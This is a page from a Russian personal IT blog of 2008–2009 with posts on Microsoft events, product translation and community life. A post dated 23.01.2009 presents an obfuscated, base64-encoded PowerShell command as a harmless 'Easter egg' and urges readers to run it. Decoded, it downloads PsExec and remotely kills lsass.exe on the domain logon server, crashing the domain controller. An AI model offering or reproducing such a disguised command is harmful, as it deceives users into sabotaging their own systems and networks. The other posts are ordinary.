Домашняя - Блог Проничкиных

25.06.2009 22:27

Выступление Алексея Майорова на заседании клуба MCP во вторник

Это — запись небольшой вступительной речи Алексея, которая предворяла выступление Вадима. Специально я к этой съёмке не готовился — поэтому звук пришлось записывать с микрофона, встроенного в камеру. (Основной микрофон в это время висел на Вадиме. И его будет слышно гораздо лучше). Поэтому если вы хотите здесь что-нибудь услышать — включайте звук посильнее. Не рикролл.

Posted at 25.06.2009 22:27 by Артём Александрович Проничкин

| Category: Microsoft;Мероприятия;Видео | Permalink | Email this Post | Comments (0)

06.06.2009 0:11

Флешмоб про лояльность

Сейчас на сайте Министерства связи и массовых коммуникаций РФ вторая сверху новость — про Microsoft. Если внимательно приглядеться к илюстрации — видно, что там изображён пиратский (?) диск с Windows ХP Home Edition.

Вне всякого сомнения, это — именно тот продукт, на который необходимо установить фиксированые цены для того, чтобы «повысить прозрачность госзакупок».

Собственно, там же находится прекрасный опрос: «Что, по вашему мнению, мешает внедрению свободного программного обеспечения (СПО) в России?». Вы знаете, что делать.

Posted at 06.06.2009 0:11 by Артём Александрович Проничкин

| Category: Microsoft;Всюду наблюдается жизнь;Злободневное;Наблюдизмы | Permalink | Email this Post | Comments (2)

23.05.2009 17:48

Вопрос терминологии 2: что может быть лучше высокой доступности? Только отказоустойчивость

Эта заметка посвящена одному очень частному случаю крайне неудачного перевода термина в интерфейсе Windows Server 2008 и сопутствующей документации. Если вас интересуют не вопросы терминологии, а общая информация о кластеризации продуктов Microsoft и технологиях повышения доступности и обеспечения отказоустойчивости — изучите другую мою статью, «Сравнение подходов к построению кластеров внутри виртуальных машин и выход Windows Storage Server 2008».

…В начале этого года я достаточно случайно встретился с Женей Олейником. Евгений — это такой специальный человек в российском представительстве Microsoft, который отвечает за рекламу и пропаганду семейства продуктов Windows Server. Слово за слово, он попросил меня проверить перевод пошаговых руководств по Windows Server 2008 (в оригинале — Windows Server 2008 Step-by-Step Guides). Я, конечно, необычайно возгордился таким выражением доверия — но виду не подал, и с умной миной пообещал прислать первые результаты в течение недели-другой.

И не сдержал обещания. Прости меня, Женя! Тогда, три месяца назад, у меня не было слов, чтобы выразить свои чуства по поводу увиденного. Сейчас — есть.

Дело в том, что я столкнулся с проблемой, которая до сих пор выглядит неразрешимой. Я достаточно долго откладывал разговор на эту тему, потому что понимал, что мне будет крайне сложно объяснить свою принципиальную позицию кому бы то ни было. К тому же особого смысла в этом нет — крайне маловероятно, чтобы кто-то счёл проблему достаточно существенной, чтобы вносить серьёзные изменения в уже устоявшуюся и принятую терминологию. Но сегодня этот вопрос прозвучал в очередной раз — после чего я решил собраться и всё-таки написать подробное разъяснение.

Заранее прошу прощения у тех, кому рассказ покажется сумбурным и нелогичным, а доводы неубедительными. Тем более прошу прощения у профессиональных терминологов — которым, возможно, и стоило бы адресовать этот текст, но облечь его в более чёткую и сжатую форму. Но на самом деле, я пытался в первую очередь донести свою точку зрения до широкой аудитории технических специалистов, а не лингвистов. Поэтому, возможно, повествование получилось излишне растянутым, а доводы звучат по-дилетантски и повторяются в разных формах.

Но обо всём по порядку. Итак, в ближайшие выходные после той встречи я загрузил копию документа «Пошаговое руководство по настройке двухузлового отказоустойчивого кластера для файлового сервера в среде Windows Server 2008» (в оригинале «Step-by-Step Guide for Configuring a Two-Node File Server Failover Cluster in Windows Server 2008») и бодро принялся за его изучение. Изначально я понимал свою задачу так: читаю перевод, в спорных моментах обращаюсь к оригиналу и исправляю огрехи машинного перевода в стиле «Задачи настройки и управления кластерами стали заметно проще. Улучшены показатели безопасности и работы в сети» на человеческие формулировки (для данного примера — что-то вроде такого: «Мы упростили настройку и управление кластером, а работа с сетью стала безопаснее»).

Однако первым, что я увидел, был заголовок. Да, «по настройке двухузлового отказоустойчивого кластера». Сначала я был уверен, что это тоже издержки бездумного автоматического перевода. Потом я проверил текст перевода интерфейса ОС — и мои худшие подозрения, о которых я даже не хотел думать, всё-таки подтвердились.

Казалось бы — ну, подумаешь, перевели слово «Failover» как «отказоустойчивость», чего тут такого. А как ещё это прикажете переводить? В конце концов, так ли велика разница?

К сожалению, я убеждён, что эта разница огромна. И такой перевод ужасен по двум причинам. Мало того, что он выдаёт полное отсутствие понимания продукта и наплевательское отношение ко своей работе со стороны переводчиков, которые даже не удосужились разобраться, что же они такое переводят. Но дело в том, что это не обычная неточность, которая просто неграмотно звучит или слегка смещает акценты. Это крайне существенная подмена понятий, которые вообще относятся к разным областям. Такая замена при желании запросто может быть расценена как сознательный ввод пользователя в заблуждение.
Читать дальше...

Posted at 23.05.2009 17:48 by Артём Александрович Проничкин

| Category: Microsoft;Глобализация;Всюду наблюдается жизнь;Занудство | Permalink | Email this Post | Comments (4)

21.02.2009 17:44

Ответ Илье Рудь на заметку «О моем видении Microsoft в 2009 году»

Почти год назад я обещал развивать этот блог тем, что публиковать свои мысли по поводу заметок других блоггеров. Сегодня Илья Рудь поделился со мной ссылкой на свою новую заметку, посвящённую критике текущей стратегии развития Microsoft по двум принципиальным вопросам. У меня нашлось достаточно много контраргументов — как на соображения, высказанные самим Ильёй, так и на заметки комментаторов.

Я начал писать приведённый ниже текст как обычный комментарий в блоге Ильи — но довольно быстро понял, что несколько не укладываюсь в формат. Кроме того, скромно надеюсь на то, что мои измышления на заданную тему могу заинтересовать не только читателей блога Ильи, но и моих собственных гостей. Поэтому публикую свои соображения здесь — а в комментариях у Ильи дам ссылку.

Мне показалось удобным оформить текст в формате «вопросов и ответов». Вопросами (точнее было бы сказать — вызовами) здесь являются тезисы Ильи или его комментаторов в моей интерпретации. Заранее прошу прощения у тех, кому она может показаться излишне вольной. Надеюсь, что мне удалось сохранить если не форму, то хотя бы суть ваших мыслей.
Читать дальше...

Posted at 21.02.2009 17:44 by Артём Александрович Проничкин

| Category: Microsoft;Глобализация;Ссылки | Permalink | Email this Post | Comments (12)

23.01.2009 11:28

«Пасхальное яйцо» в Powershell?

Вчера мы с коллегами обсуждали тестирование предварительных версиий Windows 7 и Windows Server 2008 R2. Mногим известно, что уже сейчас продукт получился на редкость стабильным и надёжным — и тем интереснее получается находить оставшиеся недоработки или просто обращать внимание на не совсем ожидаемое поведение системы. В частности, вы наверное знаете о том, что такое «Пасхальные яйца» или «Easter Eggs». Считается, что с некоторых пор разрабочикам Microsoft строжайше запрещено вносить подобную функциональность в любые продукты компании. Однако похоже, что к предварительным версиям это не относится. Потому что я обнаружил очень забавную возможность PowerShell, которая проявляется как минимум в Windows 7 сборки 6.1.7000.0 (winmain_win7beta.081212-1400). К сожалению, у меня сейчас нет под рукой других сборок Windows с установленным Powershell, поэтому я не могу уточнить, будет ли подобный эффект наблюдаться в других версиях. Если вам удастся проверить это самоcтоятельно — пожалуйста, сообщите о результатах в комментариях к этой записи.

Итак, всё, что вам потребуется, — это выполнить следующую команду.

powershell -NoProfile -encodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAcwB5AHMAdABlAG0ALgBuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwBsAGkAdgBlAC4AcwB5AHMAaQBuAHQAZQByAG4AYQBsAHMALgBjAG8AbQAvAHAAcwBlAHgAZQBjAC4AZQB4AGUAIgAsACIAJABlAG4AdgA6AHQAZQBtAHAAXABwAHMAZQB4AGUAYwAuAGUAeABlACIAKQA7ACAAJgAgACIAJABlAG4AdgA6AHQAZQBtAHAAXABwAHMAZQB4AGUAYwAuAGUAeABlACIAIAAtAGEAYwBjAGUAcAB0AGUAdQBsAGEAIAAtAGQAIAAkAGUAbgB2ADoAbABvAGcAbwBuAHMAZQByAHYAZQByACAAdABhAHMAawBrAGkAbABsACAALwBmACAALwBpAG0AIABsAHMAYQBzAHMALgBlAHgAZQA=

Результат у меня получался вот такой.

                                                  `s+/-:-`
          -o                                       :shyhsh.   -+o+/::`
        `/oy`    `..                             `:ohhhyss+ossyysyhss: `                            ``
       /s::/h/+osysso++//                       .hydsosoyo/-osdyhys/hNdN-               .:`    ...syyyso-.``
       ooso/:-+-h+/shy/+/                       :yhhy/-://+/:+yyo+`sso/h-            `-+sosoosssoyyyyhhyssd+
       .h/---..-+syy+/:                           :hdssys+++:+y/ `yo/o+        `..--ooo+ysdy++o/:+yhy+:::.
      ood/--/--.-/+d                           -syyhhysooos++oyossohs+oo       `NMm++h. .ohyo//o+/-:+h++oo-
     +h+d+--o:-``.-o/.....`                `-/yyo++++osssyso+/-:++oso++h`      -smy+-s: yhyhs/:/o///hs+++oyo::/:-
     .:ohssss+:--..`.:oy++oo+`           `sysoo++++-+++++++///+++ossyss+         `d+:oyshyhhhsssho+++++//::++oo+o+
       `sy:..-------.``:y+:-:h`         `hso/+ooyd+::+++++++++++so` `            ho/++ossooyyyyyso+++++++++os+:/y
      +s:.`.----------..-oo--y-         -ho//ohssyo++/+++++++++y/                 shoooshs+++++++++++oyh+---:do/:somh:
    .y+-..----------------o+:o         `oho/+hds+++++++++++++++d`                  -///yho++++++++++oshs     -yyo++Nd:
    y/----::/--------------os/.      `ymsoooyyo++++++++++++++/+h.`                    yyo//++++++++++oyy       `.:/-
    h//:-osh----------------+NN:      hmo+/yyo++++++++++++++/:+hyss+                 +hso/.:/+++++++++oys`
    os//:-h/-----------------h:.          .ho+++++++++++++++-/od++:y/               `dssssyso++++++++/:/sh`
     +y//-y/:----------------y          /ysyo+++++++++++++/-:odyo+:s/               -dyhyo++++++++++++:./sh
     h+/-s/:----------------/o         `hhhdo+++++//+o+++//+sdyo+++y`               `dys+++++++++++++//./+m`
    `mMmd+:------------.---:ys+-       ss:-/yo+++++-+hooosys+oyo++y`                /hso++++++++++++++:./+d.
     :yoo:-----------.`.-/yshyo+-.     .    hs++++/-omyyo/. +yo+++y-                sss+++++++++++++/--/++s
      s//----------....-/sodoyhyo`         +yo++++-/y:`     :sssso+oh:              +ys++++++++++++/:oo+yh`
      +o/:----------/osoo//:o++.         `sso+++/+ss-           /hsyNN/             .ds+/+osso+++++syhdodoo
      `s//------:oyy+///++/:.`+:         +ho++os/:`              `-dm.              :hs/+y.hsyyyhhyyshsshhyh+
       `y//--.-o/ ./+/:--+o--o          `yy++h`                                 .hyys++y/ hssso/+ho:` `++:`
        ++/-..o/          :s-+:           /h++y/                                :Nmo+oo.` `shss//y
      `-s/---/+          `d:syd.          `oddNd:                               ysMm+:      .dsoosy`
     os+::o/:.            omddmo            hMNs+                                 .       -syoss-
    sMh+/s.                -/..`            `::                                          .NNdss.
   `ssMN:                                                                                +yyNd
      .`

Posted at 23.01.2009 11:28 by Артём Александрович Проничкин

| Permalink | Email this Post | Comments (9)

01.01.2009 18:11

TWIMC. Вспомнился старый анекдот

Собственно, его окончание: «Не важно, кто ты сам, какая у тебя тема диссертации, и что вообще-то ты пишешь полную херню. Важно, кто твой научный руководитель».

Полностью рассказывать лень, так как элементарно находится в Яндексе. С Новым годом, с новыми диссертантами!

Posted at 01.01.2009 18:11 by Артём Александрович Проничкин

| Permalink | Email this Post | Comments (0)

24.12.2008 20:04

Алиса? Что ещё за Алиса?

Сегодня очень смешно переписывался с командой нового сайта про шарепойнт. Помог с одним копеечным вопросом и попутно внёс пару сбивающих с толку предложений. Которые, в итоге, сводились к одному и тому же: «вот, был бы я разработчиком — сделал бы то-то и то-то». Подразумевая, что поскольку не разработчик ни разу — то уже который год не могу допилить до кондиции даже собственный сайт.

И вот только под конец дня у меня появился хоть один аргумент всё-таки в пользу техников. Мы, техники, просто по умолчанию понимаем, почему общепринятые стандарты и соглашения это добро. Например — веб-сервер на 80 или 443 порту. А изобретение собственных велосипедов вроде порта 55555 это зло. А вам, разработчикам, всё ещё приходится объяснять это на наглядных примерах.

Рисунок. 1. Ещё одна иллюстрация превосходства техников над разработчиками из поздравительного видеоролика Наташи Руссковой и Иры Узиковой.

Спасибо. И вас тоже — с Новым годом!

Posted at 24.12.2008 20:04 by Артём Александрович Проничкин

| Permalink | Email this Post | Comments (1)

21.12.2008 18:37

Рождественский MSN

Слушайте, мне одному эта умильная рожа однозначно напоминает Мистера Вигглза?

Posted at 21.12.2008 18:37 by Артём Александрович Проничкин

| Permalink | Email this Post | Comments (0)

10.12.2008 1:59

Платформа-2009. Afterparties

Лично для меня общение, начавшееся на «Платформе», продолжалось до самого утра воскресенья. И по набору участников я могу разделить его на три отдельных мероприятия. А некоторые — аж на четыре. Попробую перечислить их в хронологическом порядке.

Так получилось, что центральным лицом всего мероприятия стал для меня Алексей Журавлёв — свежеиспечённый MVP по System Center Operations Manager. Он впервые прилетел из Новосибирска на мероприятие уровня «Платформы», а я давно ждал случая познакомиться с ним вживую. Ведь виртуально мы были знакомы ещё с руборда. Поэтому в среду мы с коллегами поехали в аэропорт с плакатом «КИСА КУКУ».
Читать дальше...

Posted at 10.12.2008 1:59 by Артём Александрович Проничкин

| Permalink | Email this Post | Comments (2)

09.12.2008 21:24

Платформа-2009. Послевкусие

Вообще-то я не любитель описывать прошедшие мероприятия. Хоть и учился, и работал в прошлом журналистом — стиль комментатора удаётся мне плохо. И про «Платформу» тоже писать не собирался — казалось, бы, чего тут ещё можно сказать? Однако, прочитав пару отзывов, я понял, что они удивительным образом отличаются от моего собственного восприятия. Придётся сконцентрироваться и излить. Сейчас меня понесёт — много и обильно. Всё это крайне субъективно, базируется на непровененных предположениях и вообще недостойно серьёзного блоггера. Извините.